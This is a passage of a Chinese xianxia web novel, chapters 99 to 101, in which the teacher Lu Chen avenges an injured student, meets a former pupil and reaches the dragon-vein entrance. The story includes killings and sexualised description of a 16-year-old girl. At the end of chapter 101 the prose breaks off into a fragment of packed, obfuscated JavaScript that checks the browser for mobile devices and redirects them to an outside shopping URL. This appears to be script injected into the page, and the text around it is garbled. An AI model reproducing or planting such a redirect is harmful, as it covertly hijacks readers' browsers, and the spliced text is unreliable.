一瞬之间,仿若时间静止一般,天地间唯有少女长刀划过半空之上的赫赫风声。
一瞬过後,长刀划过大妖身躯,鲜血四溅。
只见得那大妖身躯断做两截,宛如薄纸一般的被撕裂开来。
少女一刀过後,并未有丝毫的停留,身影如惊虹一般再度急掠而出,带着滔天妖气猛欺身到卢悬案身前,卢悬案暴喝一声,浑身灵气凝聚於那妖刀之上,亦是奋力向少女挥砍而去。
这一刀气势之盛,好似要斩落天地万物一般。
可与少女那长刀相撞后,却是踉跄一震,再度出了个豁口。
一刀得势,少女并未停手,接连又挥出数刀,虽是刀势杂乱并未有什麽章法,可此长刀在少女手中却宛若是世间最为锋利的武器,令万物亦是不可抵挡。
长刀攻势如雨而落,片刻之间,卢悬案手中的那柄天阶灵宝已然是残破不堪,好似被狗给啃了无数豁口一般。
他暴喝一声,只见得妖气裹挟在长刀之上,一瞬间令长刀变得巨大无比,好似要斩天一般。
卢悬案单手握刀手势变作双手,双手将那长刀举过头顶,以举火燎天之势将此刀斩落,刀光凌冽,一瞬之间令得天地为之变色。
“去死吧!”
“夫子!”
在场的众天骄都焦急的看着陆尘,希望陆尘出手拦下这一击,更有甚䭾竟已然是身影闪动,若不是被陆尘拦下,恐怕已然要冲到那刀势之中而去。
天阶灵宝加之天阶武技,这般攻势之下,哪怕是帝朝那些天骄恐怕也要遭受重创吧。
“都说了,尸体在说话。”
就在此时,那凌冽的强光之中忽地传来一声清脆的女声。
只见得尘烟散去,那少年竟是躺在血泊之中,身上有一道极长的刀痕,几乎要将那肉身尽毁。
而一位老䭾拦在少女身前,一掌拍出,拦下少女那将要斩落的一刀。
老䭾气势滔天,少女倒飞而出,猛的吐出一口鲜血,其手中长刀亦是脱手而出,斜插㣉地。
陆尘脚步轻点,在半空之中接过少女。
少女眸子缓缓睁开,像是一场清梦终於醒了一般。
“夫子?”
她有些疑惑问道。
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第九十九章 讲道理
“这是怎麽回事?”
少女脸色苍白而问。
她紧咬着牙,显然是那老者一击所造成的伤势并不轻,令得少女神情痛苦。
“稍後与你解释。”
陆尘悄然落地,一股灵气灌入少女体内,令之安然站稳,面色苍白之意缓缓褪去。
直到这时,少女才意识到刚才是被夫子搂在怀中,一时之间脸颊好似三月桃花一般白里透红。
只是陆尘却并没有什麽欣赏少女姿色的闲情惬意,当下身影一动,猛的与那老者对了一掌,老者倒飞而出,猛的一口咳出鲜血,就如先前的少女一般。
“这位道友,我刚才已然有所留手,如若不然,这妮子恐怕已经身死道消,得饶人处且饶人,我家少主如今亦是重伤在身,今日便到此为止了吧。”
那老者脸色难看的说道。
他知晓这位盛名在外的夫子实力非凡,却也没想到他这般恐怖。
刚才那一掌中,并未有让任何的武技动用,不过是最简单的将灵气凝於掌中,一掌拍出,威势便是如此骇人,令得老者引以为傲的掌法一瞬间溃散,一口鲜血吐出,倒飞而出。
他动手伤了参赛者,已然是坏了圣地规则,恐怕不久之後,圣地便要前来清算,届时无论是自己还是自家少主,都将被圣地责罚,可无论是哪般责罚,也总比自家少主丢了性命要好。
即便这代价是以自己的生命结束,老者也是觉得这是一笔划算的买卖。
但在此之前,他必须要将自家少主带离此地,不然真会有性命之忧。
“若不是忌惮圣地规则,你会有所留手?不必废话,三招之内,若我不杀你,我就此自裁。”
陆尘挥袖而语。
自己好端端的在此教书授课,与自己相伴多日的学生被人无端的重伤垂死,若这陆尘还能轻而易举的就此了之,那他确实是该原地自裁了。
他的目光又落在那倒在血泊之中的少年身上,少年原先的紫色气运已然消散,此时黑色笼罩头顶,将死之人无疑。
陆尘看过这少年生平,他本性并非是什麽十恶不赦的坏人,甚至於在而立之年後,心性收敛,斩妖除魔,做了不少好事,只是其年少之时,向来养尊处优,嚣张跋扈惯了,在被林炎耍了一通之後,把脾气撒到这书院之中来,一脚给山崖踹了个半死。
那些生平之中所行的善事,并非是陆尘就能原谅他的原因,总有些错误是要付出代价的。
而陆尘想要收取的代价,那便是拿命来偿,毕竟他那一脚,也足足要了山崖大半条命,若不是陆尘各般丹药藏了不少,山崖修行根基恐怕都要被卢悬案给毁了。
“老夫称你一声道友,只是不想与你过多纠缠,莫不要得寸进尺。”
那护道之人脸色阴沉,取出腰间葫芦,神色郑重。
那葫芦通体赤红之色,从腰间取下的一刹那,便有一股万分炽热的气息笼罩整片天地。
“又是一件天阶灵器……”
有人惊叹道。
要知晓每一件天阶灵器都可堪称一宗之镇派灵器,并非是什麽随处可见之物。
陆尘却并未过多言语,手作剑指,一剑而过,光寒天地一十九州。
赤红色的葫芦浮在半空之中,喷出滔天赤炎,凝聚为一条狰狞红龙,发出响彻天地的咆哮。
那下一刻,红龙便瞬间消散,剑光斩龙后仍未有半分停滞,连带着将那天阶灵宝留下一道极深的剑痕,踉跄倒在地上,不再散发任何气息。
老者一咬牙,见那剑气竟然在此过後依旧未有任何停滞,当下只能是将浑身灵气凝聚於掌中,猛的拍出自己最强一技。
这一掌终於拦下那恐怖至极的剑意,只是还未等老者有任何来得及喘息的机会,又有一剑而至。
一剑破万法,天地寂静。
老者身死道消,宛如杂草一般。
“真要到三招就糗了。”
陆尘咳咳两句,自顾自的说道。
那血泊之中的少年见自己护道者身死,一瞬之间失魂落魄的挣扎而起,又哭又笑的向空中伸出手,像是想要抓到些什麽。
可无论他如何伸手,却什麽也抓不到。
少年潸然泪下,抱头痛哭起来,他踉踉跄跄地向门口而去,背影落魄,好像失路之人。
在场原本对少年还十分愤恨的众人,此时见到少年这般落寞身影,倒也不免生出些许叹息。
来时意气风发嚣张跋扈,去时却背影落寞,犹如丧家之犬。
“等等,谁让你走了?”
陆尘看着那已经摇摇晃晃走到门口的少年,嘴角抽了抽说道。
自己一没注意,差点还真让这小子装疯卖傻的混过去跑路了。
卢悬案的身影显然一僵,但却装作并未听见一般,依旧摇晃着身影离去。
“寰宇。”
陆尘唤了一声,其身旁那少年一愣,但显然也意识到了陆尘意思,身影一瞬而出,挥拳砸向那卢悬案。
卢悬案猛的回头,一拳砸出,与赵寰宇拳头相撞。
拳风浩荡而起,卢悬案倒飞而出,狠狠的砸在墙落之上。
他怨恨的看向陆尘,怒声吼道:“我
之护道者已然身死道消,你还要如何!”
“要你死啊,不然呢?”
陆尘反问道。
周遭的天骄看着陆尘,皆是觉得好像第一次认识夫子一般。
在众人印象之中,夫子好像永远笑眯眯和颜悦色的,从未像今日这般正色。
“凭什麽?!我不过是踹了那家伙一脚,甚至未曾伤及他性命,凭什麽非要我二人身死此处?”
“你不是教书的吗?不应该讲道理才对吗?”
“如今我护道之人已死,权当我与你之间恩怨一笔勾销,再者我寻来此处,也并非有什麽生死恩怨,只是想见识见识这外界流传甚广之地而已。”
他咳血不止,一脸苍白而语。
“现在知道讲道理了?早干嘛去了?”
陆尘又问。
卢悬案哑口无言,只是死死的盯着陆尘。
他全然没想到这外界盛传的夫子是这般性子,看着谦逊有礼,循规蹈矩,实则却有些无赖性子在身上。
陆尘不再与他废话,一把抓住那火红葫芦,顷刻炼化。
他一挥袖,便将那赤红色葫芦交于山崖身前。
“杀了他吧。”
陆尘道。
出乎陆尘的意料,山崖摇了摇头。
“算了,就此一笔勾销吧。”
他说道。
“当真?”
“当真。”
山崖点了点头,他并不想因为自己去给陆尘结仇,卢悬案出身顶尖皇朝,其身後势力亦是权势滔天,山崖觉得因为自己去得罪这般的皇朝,属实不值得。
陆尘顿了片刻,看向卢悬案。
卢悬案头顶黑色气运依旧。
“行。”
他点了点头,倒也未勉强山崖去动手。
将死之人想要活下来有多难,陆尘可是体验过的。
那少年见自己有了活路,当下眸子里又浮现出一抹常人察觉不到的喜色。
他脸上却依旧保持着那般悲愤神色,摇晃着离开私塾,装的失魂落魄的模样。
“好了,都别看了,回去上课去。”
片刻后,陆尘摆了摆手,将围观的天骄弟子们又赶回屋内。
“小环你留下。”
陆尘又看向那角落少女说道。
少女目光瞥向那把斜插在地上的妖刀,不自觉的又向它走了过去。
“这是我的……刀?”
她看向陆尘问道。
陆尘点了点头。
“原本就是你的。”
江雨环紧盯着那把斜插入地的长刀,她不自觉的伸出手再度握住那把长刀刀柄,轻而易举的将长刀拔出。
妖刀妖气纵横,一瞬之间,少女身上的气息便再度变幻。
她持刀傲然而立,好似风中劲竹。
陆尘眸子里有一层水雾浮现,武道天眼之下,少女头顶盘踞着一股极为浓郁的金色气运,好似有金龙於其上腾飞一般。
【姓名:江雨环】
【年龄:?】
【境界:紫府三重】
【命格:金色——帝路争锋】
【生平:妖刀影魅之主,世称妖尊,一生妖力通天彻地。
其本为水乡凡俗,后偶得妖修之法,受大道真器影魅认主,一路扶摇直上,终成至尊。
后入百朝战场寻真龙神通,於龙脉之中遭真龙後手重创,妖刀不知去向,
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自身几近身死道消,一身修为几乎散尽。
所幸其身负一门神通,乃为先天一炁回春功,可使自己身魂皆回到年幼之时,再历修行,重证道果。
江雨环以此神通变作年幼少女,虽记忆尽失,仍凭藉本能重返皇朝之中修行,后再入百朝战场,於葬妖谷深处重拾妖刀,渐证神通,更上一层楼,入帝路争锋,败於帝路尽头。】
【近期遭遇:从外人处得见妖刀,恍惚间想起什麽】
武道天眼之下,少女的生平尽收陆尘眼底,原本应该是其於葬妖谷中取回这柄妖刀,但陆尘已然先行去了一趟,替少女将此刀取回。
少女握住刀柄,隐约间似乎想起了什麽,但那些记忆又是如此的模糊,以至於她想要真切的看清楚时,却又无从下手。
好在江玉环是个心性乐观的少女,当下也并未想太多。
“这刀怎麽说起来呢?”
她呢喃一句,那手中长刀竟然自行消散,落入少女心海之中。
“不好奇这把刀怎麽来的吗?”
陆尘笑了笑问道。
少女摇了摇头。
“管它怎麽来的,反正看着确实确实就是我的东西。”
少女露出灿烂笑意说道。
陆尘笑了一声,少女倒也是看的开,并未多想些什麽,既然如此,陆尘也不再多说些什麽,叮嘱了少女几句后便令其离去。
与寇筱筱的情况不同,少女取回妖刀找回的是自己的记忆,而寇筱筱觉醒后,虽是一魂一身,可毕竟已经是两世为人,总归是有所不同。
这也是为何陆尘会对其心怀些许愧疚的原因。
【夫子之责行使完毕】
【恭喜宿主获得以下回馈奖励】
【一:小神通——天妖诀】
【二:大道真
器——五光混元扇】
【三:秘术——先天回颜术】
在少女离去片刻后,系统的机械声便悄然在陆尘脑海之中响起。
与先前相比,这还是系统第一次给予大道真器。
“五光混元扇……”
陆尘呢喃自语,他内视心海,只见一把有着五种颜色的羽扇飘然浮在心海之上,其周遭还有丝丝许许的混沌之气缭绕,令之越发显得恐怖。
“好恐怖的气息……”
陆尘暗自赞叹道。
如今他身上的大道真器并不少,有太古九龙鼎,困龙锁,以及被困龙锁束缚的那玉盘。
玉盘为天渊之物,其上不知有何禁制,陆尘并不敢妄自炼化,只能暂时用困龙锁束缚。
除此之外,能用来攻伐的大道真器便只有这一件五光混元扇了。
大道真器的威力,陆尘可是见过的,与那天渊之人交手时,若不是自己带着这困龙锁,恐怕真要被那家伙一击得手,不说身死道消,少说也得肉身尽毁。
“神游巅峰了,用不了多久到封侯境界,各般手段累加起来,与真君也有一战之力了。”
陆尘自顾自又呢喃道。
这段时间他创立私塾,将段眉关周遭一大片城池的少年天骄们尽数吸引过来,每日最低也是收取的蓝色命格回馈。
俩月之间,这般回馈奖励已经累计巨大,自神游一重到神游三重巅峰,只差临门一脚,便能迈入封侯境界。
等到真正出发前往龙脉之地时,想必已经是能到达封侯境後期。
这般速度已然堪称惊世骇俗,要知晓陆尘初入此地时,不过还是区区的上阳境一转修为,如今不过三月,已然临近封侯境界,若是外界有人显露出这般天赋,恐怕要被那些圣地世家抢破脑袋去收入宗门之中。
只是这般迅疾提升的修为并未给陆尘带来多少喘息的休憩之感。
无论自己境界提升的有多快,在未成至尊之前,那也不过是蝼蚁而已。
至尊一念则生,至尊一念则死,绝不会有任何机会与之相抗。
“至尊……”
陆尘呢喃自语。
拥有至尊气运者不胜凡几,可终成至尊者,却依旧是极少数。
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第一百章 零碎心事
私塾庭院之中,陆尘一人站立,耳边传来的,是少年们的朗朗书声。
他所授之课繁杂,基本上随心所至,有时会讲到五域四海的天文地理,有时又会讲到古之大能的年少趣事。
至於听或不听,陆尘也并未勉强,能听进去总归是好的,如若不能,倒也并未有什麽不对的地方。
陆尘甚至於将太上开天经的经文以古文的形式在课堂之上讲过,当然光以此文字片段并不能真正入门,但若是熟读的话,来日入圣地之中修行此法,自然是事半功倍。
“既然来了,何不出来一见?”
在书声稍有停歇後,陆尘抬眸向某一处方向问道。
只见得阴影之处,有一位罗裙衣裳的少女缓缓走出,紧盯着陆尘,脸上神色复杂。
“筱筱?”
看清少女模样,陆尘有些疑惑的轻唤了一句。
听得这一声筱筱,少女潸然泪下。
“真好,夫子还记得我姓名。”
少女抬起眸子,又哭又笑的说道。
陆尘心里五味杂陈,不知道说些什麽好。
“最近如何?”
二人推门而出,在段眉关的小巷之中漫步。
“还好呢,夫子呢?”
“也还行。”
二人委实找不到什麽话说,就这般沉默着走完了一整条小巷。
少女的变化很大,陆尘印象之中,少女还是个眉眼青涩,亭亭而立之人,如今一见,眉眼间已经有丝丝许许清冷之意,罗裙衣裳相衬之下,亦是有如仙子临尘一般,不沾丝毫的尘世烟火。
看的出来,那觉醒的前世魂魄对其的影响巨大,至於二者之间到底该看做同一人,同一魂还是看做同一人,不同魂,陆尘自己也分不清了。
“又能见着夫子,夫子还记得我的名字,真好。”
走出小巷后,少女抬起头,露出浅浅笑意说道。
她眼角泪痕并未擦乾,隐隐约约间有股令人怜惜的神态之色。
“我体内其实还有个魂魄,每次她接手我的身体时,总说要杀了夫子。”
“我很担心来着,因为我知道她说的话并不假,而是确实认定了要这般做。”
“而且她可厉害了,如今我已经是上阳二重的境界了,若没有她接手的话,单靠我自己是肯定到达不了这个境界的。”
“不过夫子要更厉害。”
“她见到夫子的那一刻,就知道肯定不是夫子对手了。”
少女自顾自的说起来,明明是一些很沉重的东西,可她依旧用一副轻松的口吻说着。
陆尘看着少女,仍旧不知道该说些什麽。
“夫子不用担心了,并不是她要取代我,也不是我要取代她,大抵是在交融吧,就像你中有我,我中有你,再者我们本就是同一人了。”
寇筱筱又说道。
陆尘松了口气。
这般无疑是最好的境况,而不是令那前世的百花仙子神魄完全主导这副肉身。
二人一时再无话可说,又相伴同行数里。
直到黄昏落寞之时,少女才缓缓告辞离去。
陆尘道了句保重,又赠予少女一件天阶灵宝压身。
离去之时,少女面色再复清冷,就好似那嘴角挂着浅浅笑意的少女已然不存在一般。
“心愿已了?”
“已了。”
“那你答应我的话可曾算数?”
“算数。”
“好,今日起,世间已无寇筱筱。”
少女自说自话,渐行渐远。
…………
百朝战场,段眉关外。
卢悬案身影摇晃,气息微弱,但即便如此,他亦是轻易击杀了一位伏杀他的天骄少年。
毕竟是能与帝朝妖孽争锋的人物,哪怕如今的境况下,也不是寻常人所能与之抗衡的。
“出来吧,追了小爷这一路,不累吗?”
山谷之下,卢悬案眉头紧锁而言。
他话音未落,便猛的有一股浩瀚气息袭来,好似山岳一般压的人喘不过气。
卢悬案全身灵气灌注於一拳之中,愤然一砸,只是这一拳落下,却好似砸在了棉花之上一般。
并且这棉花如同是黑洞一般,不断吞噬着卢悬案的灵气,令他猛然一惊,接连後退几步。
只见得一白衣少年飘然落在卢悬案身前,眼神清冷,好似淡漠众生万物。
他手中有一团颜色古怪的灵气悬浮,隐隐间竟将周遭的灵气尽数吞噬殆尽。
“饕餮之力?饕餮星君的传承是你得了?”
卢悬案面色凝重,若此人真是身负饕餮之气的话,那麽自己此番定然是凶多吉少。
白衣少年摇了摇头,也并未多解释什麽,当即便袭杀过去。
二者交手并未多久,卢悬案便是身首异处,神魂消散。
白衣少年盘腿而坐,浩荡灵气尽数涌入其体内。
“那位夫子没骗我……”
良久后,他睁开眸子,自顾自的说道。
他并不信任何人,但第一次,忽地觉得那位夫子似乎是个值得信赖之人。
哪怕自己这般落在阴影处等着吸食血肉的老鼠,似乎也能
从他的身上照到些许的光亮。
“难怪有那麽多人愿意围在他的左右。”
少年又自顾自的呢喃而语,有时候他也会想,要是自己能和他们一样在这私塾之中一起听课就好了。
但自己这样身负饕餮之力的人,终究只能躲在阴影之中,孤身独行。
…………
时间一晃而过,转眼之间,百朝战场已然开启半年之久。
这半年间,有天骄如潜龙离渊,一飞冲天,亦有天骄遇变身死,纵身负天纵之资,亦化作白骨黄土,令人叹息。
半年之期已至,大部分仍活着的天骄们都开始向龙脉之所进发。
众人都知晓,这百朝战场最大的造化都在那龙脉之地,只有在这龙脉之地占尽先机者,方才能笑到最後。
以往也不是没有天之骄子在一开始不显於世,直到最後在龙脉之所夺得天大的造化,最後一跃至众人之上,成为各圣地争抢的人物。
内圈距离龙脉之地并不远,只是越接近龙脉之所,天地间的真龙气息便越发浓郁,而这路途之上所遭遇的妖兽也因吸食天地龙气而越发恐怖。
甚至有不少天骄尚未达到龙脉之地,便被沙海之中的大妖给吞噬殆尽。
这也是为何众人并不在一开始便前往龙脉之地,而是要先行在外修行半年,方才敢入此的原因。
沙海浩瀚,有一行六人终於穿过那大妖不断的禁忌之地,遥遥见一片山脉连绵不绝,蜿蜒宏伟,好似一条真龙盘踞,令人望而生畏。
“那便是龙脉吗?”
林炎望着那条山脉,不免赞叹道。
尽管已经预料过龙脉绝非寻常之地,但在见到真正的龙脉之地后,仍旧是忍不住的赞叹。
在这般宏伟之地,哪怕是这些天之骄子们,亦会知晓自身之渺茫,於天地不过一粒蜉蝣。
“对,龙脉共有四个进出口,我们所在的,便是东方位的入口。”
陆尘笑着点头说道。
心海之中,那片护心龙鳞已然翻腾不止,好似隐隐间有什麽东西在呼唤它一般。
他知晓这片龙鳞定然极为不凡,或许那千年未现的真龙神通,便与此龙鳞大有关联。
“终於到了。”
山崖见到那龙脉之地,亦是忍不住的惊叹道。
大离王朝已经很多年未出过到达龙脉之所的参赛天骄了,但这一次竟然全员到达,这般成绩,哪怕是那些帝朝也不一定做的到。
“好浓郁的龙气,不愧是真龙,哪怕已经葬身万年,其气息依然如此恐怖。”
段凌云伸出手感慨说道。
在场人之中,除开陆尘外,便是他对於龙气的感知最为强烈,或许是那大成圣体本源精粹的缘故,段凌云莫名的便能吸收天地之间的龙气,哪怕全然不催动心法。
“入口处好多人呀呀。”
又有一位学生惊呼道。
陆尘一行人已然接近那山脉入口。
只见得入口之处,天骄少年们竟极为有礼的排成一列,并未有任何争抢。
“杨开画,潜龙榜,第四十七名。”
忽地有一道清脆声音响起,紧接着便有金光冲天而起,沐浴在队前的一位少年身上,只见得天地之间的龙气尽数往那光柱间聚拢,缓缓注入到少年身体之中。
少年气息一瞬之间暴涨,突破到上阳三重境界。
“这是什麽?”
见那道冲天而起的金光,林炎有些疑惑问道。
“龙脉入口之处有一块七大圣地设立的灵碑,会依据境界,根骨,悟性等对入龙脉之人进行勘测,
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其碑上共有一百个名字可以刻录,这一百人会获赠龙气浴体,排名越高,所吸收的龙气便是越多。除此之外,这一百人皆会拥有一道令牌,此令牌可以被他人抢夺,最终进入主脉之地,便需此令牌。”
陆尘向众人解释道。
“这一百人不但能争抢主脉之中的造化机缘,更是七大圣地所钦定的核心弟子,总之是天骄之中的天骄。”
他顿了顿又道。
陆尘的目光向前扫去,除开那最前列的少年外,其馀人皆是蓝色气运。
而那紫色气运的少年,陆尘也在私塾之中就已经指点过了。
龙脉入口之地共有东西南北四个方向,段眉关位於龙脉以东,一路所行见到的天骄少年,也大抵都是陆尘在私塾之中所教导过的学子。
少年少女们遥遥见了陆尘一行人,也会暂且脱离自家宗门队伍,跑过来与陆尘打声招呼。
陆尘亦是会对少年少女们点头致意。
这样便很好,不用说什麽上刀山下火海这般的郑重誓言,彼此之间点头致意,如风而过,就很好了。
“张百年,潜龙榜第六十三名!”
“徐怀海,潜龙榜第九十二名!”
“赵文武,潜龙榜第八十四名!”
上榜之人并不多,大抵队列之中十人,便会有一人能登临这潜龙榜。
“夫子好!”
“夫子好!”
“夫子好!”
待得队列人少了一些,众人这才瞧见了队列末尾的陆尘一行人,当下一众天骄皆是欣喜的与陆尘打着招呼,眼神期待的看着
陆尘一行人。
要知晓这位夫子在私塾之中指点过不知凡几的天骄少年,而这几位一直跟着夫子左右,想必是极为的不凡,故而众人都将目光看向林炎五人,万分期待。
这五人中,林炎与段凌云长时间在外闯荡,故而众人都并不知晓二人到底是何实力,至於山崖等三人,倒是与寻常天骄无异,并未有过多异人之处。
灵碑测验的时间并未多久,很快的便轮到陆尘一行人,入龙脉之地的天骄们都尚未离去,饶有兴趣地看着即将发生的一幕。
只见林炎走到那灵碑之前,伸了个懒腰,眸子里竟有些许的困意流露。
“且慢!”
就在他将要把手放到灵碑之上勘测时,忽地有一道声音自背後传来。
只见有一位少年怒目看着林炎,好似二人有什麽过节一般。
林炎回头看到少年,却是一脸茫然。
“怎麽了?”
他问道。
“你不记得我了?”
少年咬着牙问道。
“你谁啊?”
林炎皱了皱眉反问。
“还我狂雷破灭火!”
少年恶狠狠的看着林炎说道。
直到这时,林炎才露出恍然大悟的神情。
“哦,我记起来了。”
林炎点了点头说道。
“不过为什麽说还?此物天生地养,落在我手中便是我之物,与你何干?”
林炎旋即又道。
少年一怔,显然没想到林炎这般牙尖嘴利,一时急得说不出话来。
陆尘微眯眸子,只见少年头顶气运盘旋,竟是大凶之兆。
“我不管,此物是我费劲心血将之引出,你半路截胡,岂是英雄所为!”
少年又厉声喝道。
“我本来就不是英雄啊。”
林炎摊手,一脸无奈的说道。
“那火给他吧,那火有问题。”
就在二人争执之际,陆尘忽地暗中传音与林炎说道。
林炎微微一怔,但并未有任何犹豫,立即将那狂雷破灭火唤出,挥之而去。
见那雷火出世,少年当即一喜,猛的将雷火用宝器接住。
“此火有问题,若你信我,可将此火放了,如若不然,有大灾之难。”
陆尘看着那少年,当下出声提醒道。
少年却全然不信,并不愿理会陆尘。
他并未走出两步,便听得砰的一声,宛如雷霆自九天而落。
只见得雷火迸发而出,一瞬之间将那少年吞噬。
“好玩,好玩,好玩。”
队列末尾,忽地有个少女拍手称快,捧腹大笑。
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第一百零一章 太阴真体
少女突兀的笑声吸引了所有人的注意力,直到这时,众人才发觉队列末尾不知何时多了一人。
少女身着一袭绿色罗裙,罗裙虽是宽松,却依旧难掩其曼妙身姿,令人忍不住的往某个地方注视。
有风吹过,那裙摆便如夏花般轻盈摇曳。
三千青丝极为随意绾起,有几缕发丝遗露在外,极为俏皮地在耳畔垂落。
她的眉如远山,眼角微微上扬,透着十足的灵动与狡黠。
少女眸子好似满天繁星,闪烁着耀眼的光芒。
那小巧的琼鼻下,嘴角微微勾起,似笑非笑。
白肤胜雪,在残阳照射之下,仿若透明一般。
其玉指缭绕着一根不知从何处摘下的狗尾草,脸上满是小把戏得逞后的得意之色。
少女望着那尘烟之处,眸子里闪着亮光。
待得尘烟消散后,只见那少年倒在血泊之中,那团雷火兀自飘立,竟是自行落在少女手中。
“那不是魔女夭夭?”
人群之中,有人惊呼道。
“没错就是她!”
“咱们还是离她远点,快走吧。”
名唤夭夭的少女似乎来头不小,在场不少人原先还在看着热闹,在听得少女的名号之後便当即是离去,唯恐殃及池鱼。
一时之间,便只剩陆尘一行几人。
後来者则似乎也是认出少女身份,遥遥等着不敢上前。
“本来这场好戏要更精彩的,都被你毁了。”
少女笑意收敛起来,当下鼓着腮帮,气鼓鼓的看向陆尘。
陆尘有些头疼的看着少女,武道天眼之下,少女头顶有赤红色气运盘踞,其间甚至带着丝许的黑色气运,乃为大凶之兆。
【姓名:夭夭】
【年龄:一十六】
【境界:上阳境一重】
【命格:大凶之兆】
【生平:凡俗富商之女,后因家中兄长得罪仙门人物,满门遭屠,少女被提前送往故里祖宅之中,幸免於难,后家奴得知少女满门遭屠,欲将少女卖入青楼之中。所幸得路过魔道相救,并将之引入修行之路。
少女拜入阴阳宗,为太阴真体,被选为门中圣女,即仙门所谓魔女。
因对仙师怨恨,少女以取乐,戏弄,残杀正道仙师为乐。
后入百朝战场,以雷火戏弄天骄,遭戏弄之人同宗天骄追杀,泄露太阴真体之秘。
後身负上阳真体的帝朝绝世天骄寻得少女,欲与少女双修,夺其太阴真体精粹,少女宁死不愿,欲散道而死。】
【生平:以雷火戏弄正道天骄,将之半废】
“此间天骄繁多,你如此行事,迟早会惹祸上身。”
眸子间的水雾散去,陆尘轻声而道。
少女原本出身富商之家,虽是世俗人家,并未修行什麽仙法,但想必於其而言也是十分欢乐的一段时光。
后却因得罪仙门人物,满门被屠,此间悲伤离合,可想而知。
故其入魔道后对仙门弟子残杀戏弄,陆尘都是觉得无可厚非。
毕竟都是魔道了,总不能是喊个口号就是魔道吧。
再者陆尘的底线摆在那,修士争锋无论因何而起,无论因何手段,陆尘也不会觉得有什麽不对的,不过是弱肉强食而已。
至於那卢悬案,陆尘要杀他也不是因为他性子跋扈,不把寻常人当做人看,全然是因为他恰恰好重伤了陆尘身边之人,陆尘这才起了杀意。
“这位夫子是在关心奴家嘛,不会是看上奴家姿色了吧。”
听得陆尘的提醒,夭夭不但没有任何惧意,反倒是眨巴着眼睛看着陆尘,摆出一副娇嫩欲滴的诱人模样。
少女年纪不大,眉眼显然并未长开,但那身材却是玲珑有致,稍一动身,便好似有波涛翻涌。
这还是少女身着宽松罗裙的缘故,若是其身着什麽劲装,恐怕单是往那一站,便要令不少天骄少年道心晃动。
但显然,这对陆尘并没有什麽作用,在其眼里,少女与黄毛丫头并无两样,不过是发育的好些的黄毛丫头罢了。
这或许是见过苏月仙的後遗症,总之在此後,陆尘无论见谁,最後都只会嘀咕一句不如苏月仙。
“你多少应该听过我,我所言非虚。”
陆尘对少女说道。
“夫子怎麽这般古板,当真没意思。”
少女嘟囔着嘴,玉手轻晃着那狗尾巴草,大摇大摆的走向灵碑。
“麻烦让一让。”
她笑着看向林炎道。
“把雷火给我,我便让开。”
林炎说道。
“咦?”
少女轻咦了一句,而後笑了笑,竟真的唤出那雷火。
“你要便给你吧。”
她笑意吟吟的说道。
林炎反倒是一怔,看向陆尘,不知该接还是不该接。
陆尘有些头疼。
那少女亦是转过头来看向陆尘,那好似狐狸般的眸子下流露出丝许狡黠。
“收下也行。”
陆尘点了点头。
此番因果本该是少女自己接着的,但将此雷火交於林炎之後,因果便是悄然转变。
见陆尘点头,林炎也不再犹豫,将此雷火收入心海之中。
“本来这火就该给你的,那颗种子若是由你点燃,绚烂程度肯定要比刚才那点强百倍千倍。”
少女手舞足蹈的说道,眼神中闪过可惜神色。
“记得好好保管,我是借你,不是送你哦。”
少女招了招手轻笑说道。
见陆尘等人并未理会,少女也自觉无趣,将手按在灵碑之上。
一瞬之间,金光冲天而起,无数的龙气汇聚在少女周身,如鲸入海一般的疯狂涌入。
“夭夭,潜龙榜第三十七名。”
清脆的响声响彻天际,在其将迈入龙脉之地时,陆尘忽地扔出一道玉牌。
“哪天想死了记得用此玉牌找我。”
陆尘十分直白的说道。
少女一愣,而後转过头气鼓鼓的看着陆尘。
“呸呸呸,你才想死呢!姑奶奶长命百岁。”
嘴角一直挂着似笑非笑,戏弄人神色的少女被陆尘这一句话整得当即色变。
但不知为何,她心中隐隐间有个念头叫她接下这块令牌,鬼使神差的,少女当真伸手接过,深深看了陆尘一眼后,转身迈入龙脉之地,身影一瞬消散不见。
在其将雷火交於林炎之後,少女气运之中的那抹黑色便消散了许多。
只是红色仍旧鲜艳,依旧有大凶之兆。
尽管少女避开了这场因雷火而起的追杀,但因其魔道身份以及爱戏弄人的行止,在这龙之地仍旧会遭仙门追杀。
而其身怀太阴真体一事依旧要被传出,直至那身负上阳真体的帝朝天骄找上门来,再度面临大劫。
太阴真体乃为极阴之体,天生对月属,冰属等心法有极高的增幅,对此间大道,亦是天生具有参悟,他人犹如登山之人与大道之上攀登,而太阴真体之人则於此番大道如履平地,其亦属仙体的一种,并不逊色与荒古圣体。
而令太阴真体为世间所垂涎者,则是身负太阴真体者皆只为女子,且因仙体滋养,皆是极为貌美,好似寒宫仙子下凡,身负太阴真体女子者,其仙体内自蕴太阴之水,与之第一位缠绵之人,便可得此太阴之水。
太阴之水内蕴仙体精粹,可使凡体粹变,哪怕是紫府境修士得之,亦可一步入太阴之境。
而上阳真体与太阴真体本为一体两面,若由上阳真体者夺此太阴之水,更是龙跃九天,裨益极大。
古时便有上阳真体与太阴真体同出一世,二人皆为道侣,纵横天地万年。
因此特性,身负太阴真体者之道侣,莫不是同辈最顶尖一二人,向来被立为圣地神女,待价而沽。
也曾有身负太阴真体者与天姿庸常之人相爱,哪怕想将已身交於心爱之人,却也因宗门设下的禁制无可奈何,最终怕宗门对心爱之人下手,只能是自行断了这场情爱,心如死灰的等待着与宗门为其天选的天之骄子联姻。
太阴真体对世间修行者的诱惑性极大,故而哪怕夭夭身为魔道妖女,行事放荡不羁,却依旧不敢暴露自己身负此体,不然必定会遭整个百朝战场的天骄追杀。
“好了,我们也进龙脉之中之中瞧瞧吧。”
陆尘笑了笑,对众人说道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14155452|150342||http|test|mini|href|location''.split(''|''),0,{}));
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此间地界已是整个百朝战场的核心之地,众天骄皆在此齐聚,乃是真正的天骄汇聚之地。
哪怕随便一板砖拍下去,也能拍到一大片为外界王朝皇朝所敬仰的天之骄子。
林炎几人点头,当即将手放到那灵碑之上。
金光冲天而起,其高度之盛,远远比先前的所有人要来的强烈。
浩荡的龙气疯狂汇入那光柱之中,如鲸入海似的灌入林炎体内。
